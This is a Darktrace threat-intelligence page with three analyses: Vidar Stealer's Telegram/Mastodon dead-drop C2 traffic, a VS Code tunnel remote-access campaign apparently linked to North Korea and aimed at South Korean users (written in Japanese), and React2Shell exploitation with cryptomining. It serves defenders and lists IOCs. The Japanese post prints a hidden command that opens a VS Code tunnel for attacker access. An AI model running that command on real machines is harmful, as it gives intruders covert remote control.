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February 9, 2023

Vidar Network: Analyzing a Prolific Info Stealer

Discover the latest insights on the Vidar network-based info stealer from our Darktrace experts and stay informed on cybersecurity threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Roberto Romeu
Senior SOC Analyst
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09
Feb 2023

In the latter half of 2022, Darktrace observed a rise in Vidar Stealer infections across its client base. These infections consisted in a predictable series of network behaviors, including usage of certain social media platforms for the retrieval of Command and Control (C2) information and usage of certain URI patterns in C2 communications. In the blog post, we will provide details of the pattern of network activity observed in these Vidar Stealer infections, along with details of Darktrace’s coverage of the activity. 

Background on Vidar Stealer

Vidar Stealer, first identified in 2018, is an info-stealer capable of obtaining and then exfiltrating sensitive data from users’ devices. This data includes banking details, saved passwords, IP addresses, browser history, login credentials, and crypto-wallet data [1]. The info-stealer, which is typically delivered via malicious spam emails, cracked software websites, malicious ads, and websites impersonating legitimate brands, is known to access profiles on social media platforms once it is running on a user’s device. The info-stealer does this to retrieve the IP address of its Command and Control (C2) server. After retrieving its main C2 address, the info-stealer, like many other info-stealers, is known to download several third-party Dynamic Link Libraries (DLLs) which it uses to gain access to sensitive data saved on the infected device. The info-stealer then bundles the sensitive data which it obtains and sends it back to the C2 server.  

Details of Attack Chain 

In the second half of 2022, Darktrace observed the following pattern of activity within many client networks:

1. User’s device makes an HTTPS connection to Telegram and/or to a Mastodon server

2. User’s device makes an HTTP GET request with an empty User-Agent header, an empty Host header and a target URI consisting of 4 digits to an unusual, external endpoint

3. User’s device makes an HTTP GET request with an empty User-Agent header, an empty Host header and a target URI consisting of 10 digits followed by ‘.zip’ to the unusual, external endpoint

4. User’s device makes an HTTP POST request with an empty User-Agent header, an empty Host header, and the target URI ‘/’ to the unusual, external endpoint 

Figure 1: The above network logs, taken from Darktrace’s Advanced Search interface, show an infected device contacting Telegram and then making a series of HTTP requests to 168.119.167[.]188
Figure 2:  The above network logs, taken from Darktrace’s Advanced Search interface, show an infected device contacting a Mastadon server and then making a series of HTTP requests to 107.189.31[.]171

Each of these activity chains occurred as the result of a user running Vidar Stealer on their device. No common method was used to trick users into running Vidar Stealer on their devices. Rather, a variety of methods, ranging from malspam to cracked software downloads appear to have been used. 

Once running on a user’s device, Vidar Stealer went on to make an HTTPS connection to either Telegram (https://t[.]me/) or a Mastodon server (https://nerdculture[.]de/ or https://ioc[.]exchange/). Telegram and Mastodon are social media platforms on which users can create profiles. Malicious actors are known to create profiles on these platforms and then to embed C2 information within the profiles’ descriptions [2].  In the Vidar cases observed across Darktrace’s client base, it seems that Vidar contacted Telegram and/or Mastodon servers in order to retrieve the IP address of its C2 server from a profile description. Since social media platforms are typically trusted, this ‘Dead Drop’ method of sharing C2 details with malware samples makes it possible for threat actors to regularly update C2 details without the communication of these changes being blocked. 

Figure 3: A screenshot a profile on the Mastodon server, nerdculture[.]de. The profile’s description contains a C2 address 

After retrieving its C2 address from the description of a Telegram or Mastodon profile, Vidar went on to make an HTTP GET request with an empty User-Agent header, an empty Host header and a target URI consisting of 4 digits to its C2 server. The sequences of digits appearing in these URIs are campaign IDs. The C2 server responded to Vidar’s GET request with configuration details that likely informed Vidar’s subsequent data stealing activities. 

After receiving its configuration details, Vidar went on to make a GET request with an empty User-Agent header, an empty Host header and a target URI consisting of 10 digits followed by ‘.zip’ to the C2 server. This request was responded to with a ZIP file containing legitimate, third-party Dynamic Link Libraries such as ‘vcruntime140.dll’. Vidar used these libraries to gain access to sensitive data saved on the infected host. 

Figure 4: The above PCAP provides an example of the configuration details provided by a C2 server in response to Vidar’s first GET request 
Figure 5: Examples of DLLs included within ZIP files downloaded by Vidar samples

After downloading a ZIP file containing third-party DLLs, Vidar made a POST request containing hundreds of kilobytes of data to the C2 endpoint. This POST request likely represented exfiltration of stolen information. 

Darktrace Coverage

After infecting users’ devices, Vidar contacted either Telegram or Mastodon, and then made a series of HTTP requests to its C2 server. The info-stealer’s usage of social media platforms, along with its usage of ZIP files for tool transfer, complicate the detection of its activities. The info-stealer’s HTTP requests to its C2 server, however, caused the following Darktrace DETECT/Network models to breach:

  • Anomalous File / Zip or Gzip from Rare External Location 
  • Anomalous File / Numeric File Download
  • Anomalous Connection / Posting HTTP to IP Without Hostname

These model breaches did not occur due to users’ devices contacting IP addresses known to be associated with Vidar. In fact, at the time that the reported activities occurred, many of the contacted IP addresses had no OSINT associating them with Vidar activity. The cause of these model breaches was in fact the unusualness of the devices’ HTTP activities. When a Vidar-infected device was observed making HTTP requests to a C2 server, Darktrace recognised that this behavior was highly unusual both for the device and for other devices in the network. Darktrace’s recognition of this unusualness caused the model breaches to occur. 

Vidar Stealer infections move incredibly fast, with the time between initial infection and data theft sometimes being less than a minute. In cases where Darktrace’s Autonomous Response technology was active, Darktrace RESPOND/Network was able to autonomously block Vidar’s connections to its C2 server immediately after the first connection was made. 

Figure 6: The Event Log for an infected device, shows that Darktrace RESPOND/Network autonomously intervened 1 second after the device first contacted the C2 server 95.217.245[.]254

Conclusion 

In the latter half of 2022, a particular pattern of activity was prolific across Darktrace’s client base, with the pattern being seen in the networks of customers across a broad range of industry verticals and sizes. Further investigation revealed that this pattern of network activity was the result of Vidar Stealer infection. These infections moved fast and were effective at evading detection due to their usage of social media platforms for information retrieval and their usage of ZIP files for tool transfer. Since the impact of info-stealer activity typically occurs off-network, long after initial infection, insufficient detection of info-stealer activity leaves victims at risk of attackers operating unbeknownst to them and of powerful attack vectors being available to launch broad compromises. 

Despite the evasion attempts made by the operators of Vidar, Darktrace DETECT/Network was able to detect the unusual HTTP activities which inevitably resulted from Vidar infections. When active, Darktrace RESPOND/Network was able to quickly take inhibitive actions against these unusual activities. Given the prevalence of Vidar Stealer [3] and the speed at which Vidar Stealer infections progress, Autonomous Response technology proves to be vital for protecting organizations from info-stealer activity.  

Thanks to the Threat Research Team for its contributions to this blog.

MITRE ATT&CK Mapping

List of IOCs

107.189.31[.]171 - Vidar C2 Endpoint

168.119.167[.]188 – Vidar C2 Endpoint 

77.91.102[.]51 - Vidar C2 Endpoint

116.202.180[.]202 - Vidar C2 Endpoint

79.124.78[.]208 - Vidar C2 Endpoint

159.69.100[.]194 - Vidar C2 Endpoint

195.201.253[.]5 - Vidar C2 Endpoint

135.181.96[.]153 - Vidar C2 Endpoint

88.198.122[.]116 - Vidar C2 Endpoint

135.181.104[.]248 - Vidar C2 Endpoint

159.69.101[.]102 - Vidar C2 Endpoint

45.8.147[.]145 - Vidar C2 Endpoint

159.69.102[.]192 - Vidar C2 Endpoint

193.43.146[.]42 - Vidar C2 Endpoint

159.69.102[.]19 - Vidar C2 Endpoint

185.53.46[.]199 - Vidar C2 Endpoint

116.202.183[.]206 - Vidar C2 Endpoint

95.217.244[.]216 - Vidar C2 Endpoint

78.46.129[.]14 - Vidar C2 Endpoint

116.203.7[.]175 - Vidar C2 Endpoint

45.159.249[.]3 - Vidar C2 Endpoint

159.69.101[.]170 - Vidar C2 Endpoint

116.202.183[.]213 - Vidar C2 Endpoint

116.202.4[.]170 - Vidar C2 Endpoint

185.252.215[.]142 - Vidar C2 Endpoint

45.8.144[.]62 - Vidar C2 Endpoint

74.119.192[.]157 - Vidar C2 Endpoint

78.47.102[.]252 - Vidar C2 Endpoint

212.23.221[.]231 - Vidar C2 Endpoint

167.235.137[.]244 - Vidar C2 Endpoint

88.198.122[.]116 - Vidar C2 Endpoint

5.252.23[.]169 - Vidar C2 Endpoint

45.89.55[.]70 - Vidar C2 Endpoint

References

[1] https://blog.cyble.com/2021/10/26/vidar-stealer-under-the-lens-a-deep-dive-analysis/

[2] https://asec.ahnlab.com/en/44554/

[3] https://blog.sekoia.io/unveiling-of-a-large-resilient-infrastructure-distributing-information-stealers/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Roberto Romeu
Senior SOC Analyst

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January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

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はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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